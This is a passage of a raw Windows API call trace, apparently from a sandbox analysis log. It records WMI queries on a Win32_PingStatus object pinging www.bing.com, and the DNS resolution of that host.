puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.614] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.614] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898cdc*=0, plFlavor=0x2898ce0*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2898cdc*=8, plFlavor=0x2898ce0*=64) returned 0x0 [0141.615] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.615] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.615] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898cdc*=8, plFlavor=0x2898ce0*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2898cdc*=8, plFlavor=0x2898ce0*=64) returned 0x0 [0141.615] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.615] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.615] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.615] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.615] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.615] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898e38*=0, plFlavor=0x2898e3c*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea250*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2898e38*=8200, plFlavor=0x2898e3c*=64) returned 0x0 [0141.615] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2898e38*=8200, plFlavor=0x2898e3c*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea220*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2898e38*=8200, plFlavor=0x2898e3c*=64) returned 0x0 [0141.615] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.615] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.615] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.616] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28990a0*=0, plFlavor=0x28990a4*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28990a0*=8, plFlavor=0x28990a4*=64) returned 0x0 [0141.616] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.616] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.616] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28990a0*=8, plFlavor=0x28990a4*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28990a0*=8, plFlavor=0x28990a4*=64) returned 0x0 [0141.616] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.616] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.616] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.616] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.616] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.616] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28991c8*=0, plFlavor=0x28991cc*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea250*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28991c8*=8200, plFlavor=0x28991cc*=64) returned 0x0 [0141.616] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28991c8*=8200, plFlavor=0x28991cc*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea220*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28991c8*=8200, plFlavor=0x28991cc*=64) returned 0x0 [0141.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0141.617] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0141.617] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.617] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0141.617] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0141.617] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.617] IWbemClassObject:GetNames (in: This=0x5ce3798, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe43c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe430 | out: pNames=0x59fe430*="\x01ƀ\x04") returned 0x0 [0141.617] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0141.617] SafeArrayGetDim (psa=0x5cea0d0) returned 0x1 [0141.617] SafeArrayGetLBound (in: psa=0x5cea0d0, nDim=0x1, plLbound=0x59fe2c8 | out: plLbound=0x59fe2c8) returned 0x0 [0141.617] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.617] SysStringByteLen (bstr="__GENUS") returned 0xe [0141.617] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.617] SysStringByteLen (bstr="__CLASS") returned 0xe [0141.617] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.617] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0141.617] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.617] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0141.617] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.617] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0141.617] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.617] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0141.618] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.618] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0141.618] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.618] SysStringByteLen (bstr="__SERVER") returned 0x10 [0141.618] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.618] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0141.618] SysStringByteLen (bstr="__PATH") returned 0xc [0141.618] SysStringByteLen (bstr="__PATH") returned 0xc [0141.618] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__GENUS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899a18*=0, plFlavor=0x2899a1c*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2899a18*=3, plFlavor=0x2899a1c*=64) returned 0x0 [0141.618] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899a4c*=0, plFlavor=0x2899a50*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2899a4c*=8, plFlavor=0x2899a50*=64) returned 0x0 [0141.618] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.618] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.618] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899aa4*=0, plFlavor=0x2899aa8*=0 | out: pVal=0x59fe42c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899aa4*=8, plFlavor=0x2899aa8*=64) returned 0x0 [0141.618] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DYNASTY", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899acc*=0, plFlavor=0x2899ad0*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2899acc*=8, plFlavor=0x2899ad0*=64) returned 0x0 [0141.618] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.618] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.619] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__RELPATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899b24*=0, plFlavor=0x2899b28*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2899b24*=8, plFlavor=0x2899b28*=64) returned 0x0 [0141.619] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.619] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0141.619] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899cfc*=0, plFlavor=0x2899d00*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2899cfc*=3, plFlavor=0x2899d00*=64) returned 0x0 [0141.619] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__DERIVATION", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899d30*=0, plFlavor=0x2899d34*=0 | out: pVal=0x59fe42c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2899d30*=8200, plFlavor=0x2899d34*=64) returned 0x0 [0141.619] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__SERVER", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899d64*=0, plFlavor=0x2899d68*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2899d64*=8, plFlavor=0x2899d68*=64) returned 0x0 [0141.619] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.619] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0141.619] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899db0*=0, plFlavor=0x2899db4*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2899db0*=8, plFlavor=0x2899db4*=64) returned 0x0 [0141.620] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.620] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.620] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__PATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2899dfc*=0, plFlavor=0x2899e00*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2899dfc*=8, plFlavor=0x2899e00*=64) returned 0x0 [0141.620] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.620] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0141.620] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe470 | out: puCount=0x59fe470*=0x2) returned 0x0 [0141.620] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe46c*=0xf, pszText=0x0) returned 0x0 [0141.620] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe46c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.620] IWbemClassObject:Get (in: This=0x5ce3798, wszName="address", lFlags=0, pVal=0x59fe46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x289a030*=0, plFlavor=0x289a034*=0 | out: pVal=0x59fe46c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x289a030*=8, plFlavor=0x289a034*=0) returned 0x0 [0141.620] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.620] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.620] IWbemClassObject:Get (in: This=0x5ce3798, wszName="address", lFlags=0, pVal=0x59fe4c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x289a030*=8, plFlavor=0x289a034*=0 | out: pVal=0x59fe4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x289a030*=8, plFlavor=0x289a034*=0) returned 0x0 [0141.620] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.620] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0141.621] GetAddrInfoW (in: pNodeName="www.bing.com", pServiceName=0x0, pHints=0x59fe510*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59fe4b8 | out: ppResult=0x59fe4b8*=0x5d0bb60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cfacb8*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0bc50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cfacd0*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) returned 0 [0141.633] FreeAddrInfoW (pAddrInfo=0x5d0bb60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cfacb8*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0bc50*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cfacd0*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) [0141.633] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0141.634] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0141.634] EtwEventActivityIdControl () returned 0x0 [0141.634] EtwEventActivityIdControl () returned 0x0 [0141.634] EtwEventActivityIdControl () returned 0x0 [0141.635] EtwEventActivityIdControl () returned 0x0 [0141.635] EtwEventActivityIdControl () returned 0x0 [0141.635] EtwEventActivityIdControl () returned 0x0 [0141.638] EtwEventWriteTransfer () returned 0x0 [0141.641] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x59c [0141.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.641] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.641] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.641] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a536c*=0, plFlavor=0x28a5370*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28a536c*=8, plFlavor=0x28a5370*=64) returned 0x0 [0141.641] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.641] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.641] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a536c*=8, plFlavor=0x28a5370*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28a536c*=8, plFlavor=0x28a5370*=64) returned 0x0 [0141.642] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.642] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0141.642] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.642] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.642] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.642] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a5408*=0, plFlavor=0x28a540c*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28a5408*=8, plFlavor=0x28a540c*=64) returned 0x0 [0141.642] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.642] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.642] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a5408*=8, plFlavor=0x28a540c*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28a5408*=8, plFlavor=0x28a540c*=64) returned 0x0 [0141.642] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.642] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.642] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.642] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.642] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.642] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a5564*=0, plFlavor=0x28a5568*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28a5564*=8200, plFlavor=0x28a5568*=64) returned 0x0 [0141.643] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a5564*=8200, plFlavor=0x28a5568*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d13998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x28a5564*=8200, plFlavor=0x28a5568*=64) returned 0x0 [0141.643] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0141.643] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0141.643] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0141.643] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a57cc*=0, plFlavor=0x28a57d0*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28a57cc*=8, plFlavor=0x28a57d0*=64) returned 0x0 [0141.643] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.643] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0141.643] IWbemClassObject:Get (in: This=0x5ce3798, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28a57cc*=8, plFlavor=0x28a57d0*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28a57cc*=8, 